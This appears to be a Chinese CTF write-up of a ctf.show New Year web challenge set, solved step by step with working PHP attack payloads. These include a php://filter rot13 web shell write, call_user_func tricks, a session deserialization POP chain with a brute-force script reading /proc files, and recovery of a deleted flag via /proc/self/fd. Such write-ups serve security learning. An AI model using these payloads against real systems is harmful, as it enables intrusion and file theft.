热身

phpinfo()中发现auto_prepend_file,读取拿到flag

web1

<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2022-01-16 15:42:02
# @Last Modified by:   h1xa
# @Last Modified time: 2022-01-24 22:14:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

highlight_file(__FILE__);
error_reporting(0);

$content = $_GET[content];
file_put_contents($content,'<?php exit();'.$content);
?>

死亡exit()绕过

file_put_content和死亡·杂糅代码之缘 - 先知社区 (aliyun.com)

php://filter 绕过死亡file_put_content()

payload:php://filter/write=string.rot13|<?cuc @riny($_CBFG[pzq]);?>|/resource=shell.php

这里的<?php @eval($_POST[cmd])的rot13编码即为<?cuc @riny($_CBFG[pzq]);?>

中间的那两个竖线 中间的 内容是我们写入的东西

web2

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2022-01-16 15:42:02
# @Last Modified by:   h1xa
# @Last Modified time: 2022-01-24 22:14:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

highlight_file(__FILE__);
session_start();
error_reporting(0);

include "flag.php";

if(count($_POST)===1){
        extract($_POST);
        if (call_user_func($$$$$${key($_POST)})==="HappyNewYear"){
                echo $flag;
        }
}
?>

session_id()可以返回当前的会话id

payload:

POST:session_id=session_id
PHPSESSID=HappyNewYear

web3

<?php
highlight_file(__FILE__);
error_reporting(0);

include "flag.php";
$key=  call_user_func(($_GET[1]));
if($key=="HappyNewYear"){
  echo $flag;
}
die("虎年大吉,新春快乐!");

弱类型比较,只要$key为true即可

payload:

?1=session_start
?1=error_reporting
?1=json_last_error

web4

<?php
highlight_file(__FILE__);
error_reporting(0);

$key=  call_user_func(($_GET[1]));
file_put_contents($key, "<?php eval(\$_POST[1]);?>");

die("虎年大吉,新春快乐!");

需要一个返回php后缀的函数

spl_autoload_extensions()注册并返回sql_autoload函数使用的默认扩展名.inc,.php (没错,这扩展名中有个逗号,就是这么奇怪)

payload:1= spl_autoload_extensions

web5

image-20220221125651420

image-20220218175210331

没成功

web6

反序列化字符串逃逸,打死都不做这种题

web7

 <?php
include("class.php");
error_reporting(0);
highlight_file(__FILE__);
ini_set("session.serialize_handler", "php");
session_start();

if (isset($_GET['phpinfo']))
{
    phpinfo();
}
if (isset($_GET['source']))
{
    highlight_file("class.php");
}

$happy=new Happy();
$happy();
?>
Happy_New_Year!!!

class.php

<?php
    class Happy {
        public $happy;
        function __construct(){
                $this->happy="Happy_New_Year!!!";

        }
        function __destruct(){
                $this->happy->happy;

        }
        public function __call($funName, $arguments){
                die($this->happy->$funName);
        }

        public function __set($key,$value)
        {
            $this->happy->$key = $value;
        }
        public function __invoke()
        {
            echo $this->happy;
        }


    }

    class _New_{
        public $daniu;
        public $robot;
        public $notrobot;
        private $_New_;
        function __construct(){
                $this->daniu="I'm daniu.";
                $this->robot="I'm robot.";
                $this->notrobot="I'm not a robot.";

        }
        public function __call($funName, $arguments){
                echo $this->daniu.$funName."not exists!!!";
        }

        public function __invoke()
        {
            echo $this->daniu;
            $this->daniu=$this->robot;
            echo $this->daniu;
        }
        public function __toString()
        {
            $robot=$this->robot;
            $this->daniu->$robot=$this->notrobot;
            return (string)$this->daniu;

        }
        public function __get($key){
               echo $this->daniu.$key."not exists!!!";
        }

 }
    class Year{
        public $zodiac;
         public function __invoke()
        {
            echo "happy ".$this->zodiac." year!";

        }
         function __construct(){
                $this->zodiac="Hu";
        }
        public function __toString()
        {
                $this->show();

        }
        public function __set($key,$value)#3
        {
            $this->$key = $value;
        }

        public function show(){
            die(file_get_contents($this->zodiac));
        }
        public function __wakeup()
        {
            $this->zodiac = 'hu';
        }

    }
?>

php session 反序列化

pop链很简单

<?php
class Happy {
    public $happy;
}

class _New_{
    public $daniu;
    public $robot;
    public $notrobot;
}
class Year{
    public $zodiac;
}

$happy = new Happy();
$happy->happy = new _New_();//触发__get()
$happy->happy->daniu = new _New_();//触发__toString()
$happy->happy->daniu->daniu = new Year();
$happy->happy->daniu->robot = "zodiac";
$happy->happy->daniu->notrobot = "/etc/passwd";//string转换触发__toString

echo serialize($happy);
// echo "\n";
// echo str_replace('"','\"',serialize($happy));
?>

问题是哪里反序列化呢

注意到题目ini_set("session.serialize_handler", "php");

这里涉及到PHP session反序列化

构造表单

<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
    <!--题目地址 -->
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
    <input type="file" name="file" />
    <input type="submit" />
</form>

上传抓包

修改filenam为|+转义了双引号的序列化数据

image-20220218181044003

根目录没有flag,查看进行/proc/{pid}/cmdline

爆破一下

import requests
import time


def get_file(filename):
    data="""------WebKitFormBoundarytyYa582A3zCNLMeL
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"

123
------WebKitFormBoundarytyYa582A3zCNLMeL
Content-Disposition: form-data; name="file"; filename="|O:5:\\"Happy\\":1:{s:5:\\"happy\\";O:5:\\"_New_\\":3:{s:5:\\"daniu\\";O:5:\\"_New_\\":3:{s:5:\\"daniu\\";O:4:\\"Year\\":1:{s:6:\\"zodiac\\";N;}s:5:\\"robot\\";s:6:\\"zodiac\\";s:8:\\"notrobot\\";s:"""+str(len(filename))+""":\\\""""+filename+"""\\";}s:5:\\"robot\\";N;s:8:\\"notrobot\\";N;}}\"
Content-Type: text/plain


------WebKitFormBoundarytyYa582A3zCNLMeL--"""
    r=requests.post(url='http://0b0e1680-2477-4575-b36c-d4a9e2fed0d2.challenge.ctf.show/',data=data,headers={'Content-Type':'multipart/form-data; boundary=----WebKitFormBoundarytyYa582A3zCNLMeL','Cookie': 'PHPSESSID=917571d70a5c49843a1625b52880d774'})
    return(r.text.encode()[1990:])#去掉源码信息,encode是为了能显示\00

for i in range(999):
    print(i)
    print(get_file('/proc/'+str(i)+'/cmdline'))
    time.sleep(0.2)

发现python3 /app/server.py

读取

import os

app = Flask(__name__)
flag=open('/flag','r')
#flag我删了
os.remove('/flag')

@app.route('/', methods=['GET', 'POST'])
def index():
    return "flag我删了,你们别找了"

@app.route('/download/', methods=['GET', 'POST'])
def download_file():
    return send_file(request.args['filename'])


if __name__ == '__main__':
    app.run(host='127.0.0.1', port=5000, debug=False)

flag被删了,但文件删除之后,在 /proc 这个进程的 pid 目录下的 fd 文件描述符目录下还是会有这个文件的 fd,也就是/proc/self/fd/,通过这个我们即可得到被删除文件的内容(0是stdin 1是stdout 2是stderr,fd号可以从3开始尝试)

读取http://127.0.0.1:5000/download/?filename=/proc/self/fd/3

最后修改:2023 年 12 月 15 日
如果觉得我的文章对你有用,请随意赞赏